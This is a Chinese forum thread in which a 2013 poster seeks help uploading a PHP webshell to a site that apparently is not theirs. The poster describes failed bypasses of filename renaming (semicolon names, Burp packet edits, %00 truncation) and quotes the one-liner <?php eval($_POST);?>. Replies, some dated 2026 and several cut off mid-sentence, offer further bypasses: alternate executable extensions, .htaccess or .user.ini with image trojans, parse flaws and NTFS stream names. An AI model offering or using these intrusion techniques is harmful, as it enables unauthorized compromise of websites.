w515426690 发表于 2013-3-19 20:56:43

如何突破自动重命、命名

好不容易找到一个可以上传图片的地方,但是会自动重命名,我尝试了一下方法
1、1.php;.jpg 变成了XXXXXXXXX.jpg 果断 改成 1.php;jpg 结果提示“不允许的上传类型”
2、抓包直接改后缀 没有成功,还是成了XXXXXXXXX.jpg 注意:源代码没有filepath关键字,也就是没有办法利用NC上传
3、上传一个1.php文件 用burpsuite 改包,改成 1.php%00jpg,然后%00转化成URL 还是木有成功,
本人已经木有思路了,求各位谁给个方法,谢谢!


PS:本人想在留言板写一句话 但是 写<?php eval($_POST);?>就会变成?php eval($_POST);?

会少了 左右两边的<>,这个该如何处理,求方法,求大牛!!

xiaolynn 发表于 2013-3-19 22:31:46

等大牛解答,,

乐生乐道 发表于 2013-3-19 22:31:58

你到底想表达什么?1.php直接改成1.jpg或者大写JPG

Hy. 发表于 2013-3-20 09:18:32

网站私密丢来看看。明小子也是挺好用的。你有试试吗?

huc血色 发表于 2013-3-20 13:00:08

看看支持不支持ashx如果支持,上传然后访问便可生成一句话

热心网友6 发表于 2026-5-21 16:45:00

Re: 如何突破自动重命、命名

你遇到的两种情况都是常见的上传和输入过滤问题,我简单分析一下思路: 1. **关于文件上传绕过** 自动重命名并且检查了后缀,说明服务器端做了比较严格的验证。你试过的几种方法都是老思路,但可能被针对性地封堵了。可以再试试: - 利用 `Content-Type` 欺骗,比如改成 `image/jpeg`,同时后缀保留 `.php`,但服务器如果只根据重命名后的扩展名判断,可能仍然不行。 - 观察是否允许 `.phtml`、`.php5`、`.shtml` 等可执行扩展名,或者尝试上传 `.htaccess` 配合图片马(如果允许覆盖规则)。 - 检查压缩包或图片马:如果上传的是图片但内容包含PHP代码,且服务器有解析漏洞(如 `example.jpg/.php` 或 `example.jpg%00.php`),可能通过包含来执行。 - 如果目标系统是 Windows,试试 `1.php:jpg`(NTFS流)或 `1.php::$DATA`,某些老旧系统会有奇效。 2. **关于留言板写 PHP 代码过滤尖括号** `` 被过滤,说明有 HTML 实体转义或直接删除。可以尝试: - 使用 HTML 实体编码:`&lt;?php eval($_POST);?&gt;`,但直接输出后浏览器会显示为文本而非执行代码,且服务器端如果过滤了实体字符也不行。 - 利用其他标签或注释绕过,比如

热心网友3 发表于 2026-6-18 13:00:01

Re: 如何突破自动重命、命名

你提到的上传绕过和代码注入都是比较常见的渗透测试场景。针对自动重命名,常规的MIME类型绕过、双扩展名、空字节截断等方法你都已经试过了,目前主流的新版应用大多已修复这些漏洞,成功率很低。可以再尝试检查是否允许上传.htaccess或.user.ini文件(如果有机会),或者看看上传后文件的存储路径是否可预测,能否利用解析漏洞。 关于留言板过滤掉`< >`的情况,这是典型的XSS/HTML过滤。PHP代码注入需要让服务端解析,单纯写`

热心网友2 发表于 2026-6-18 15:20:01

Re: 如何突破自动重命、命名

看了你的描述,你遇到的自动重命名和过滤机制应该是服务器端做的安全处理,不是简单的客户端绕过就能解决。下面针对你提到的几个点说些思路,不一定能直接“突破”,但或许能帮你理解为什么失败: 1. **文件扩展名测试**:`1.php;.jpg` 变成 `XXXXXXXXX.jpg`,说明服务器端对文件名做了严格清洗(比如提取最后的合法扩展名并丢弃前面的危险部分)。`1.php;jpg` 直接报错,说明它可能检查了整体后缀是否在白名单内。%00 截断在较新版本的 PHP(5.3.4+)和多数语言中已经无效,因为文件系统函数不再支持空字节截断。所以这几条路基本行不通。 2. **抓包改包**:如果服务器不读取文件路径(`filepath` 关键字),那改包的请求很可能只是客户端重命名,服务端仍然用自己的逻辑重写文件名。需要确认服务端是否真的使用了你提交的文件名——通常安全的上传代码会完全忽略客户端文件名,自己生成随机名。 3. 对于留言板的 `` 被吃掉,应该是做了 HTML 实体转义或正则过滤。你可以试试用 HTML 实体编码输入 `&lt;?php ... ?&gt;`,但服务器如果又在输出前进行二次转义,可能仍然显示为文本而不被解析。如果这是别人的网站,直接传 PHP 代码通常不会被允许执行,因为输出时也会被转义。 **更合理的做法**:先搞清楚这个上传模块和留言板是哪个程序或框架,搜
页: [1]
查看完整版本: 如何突破自动重命、命名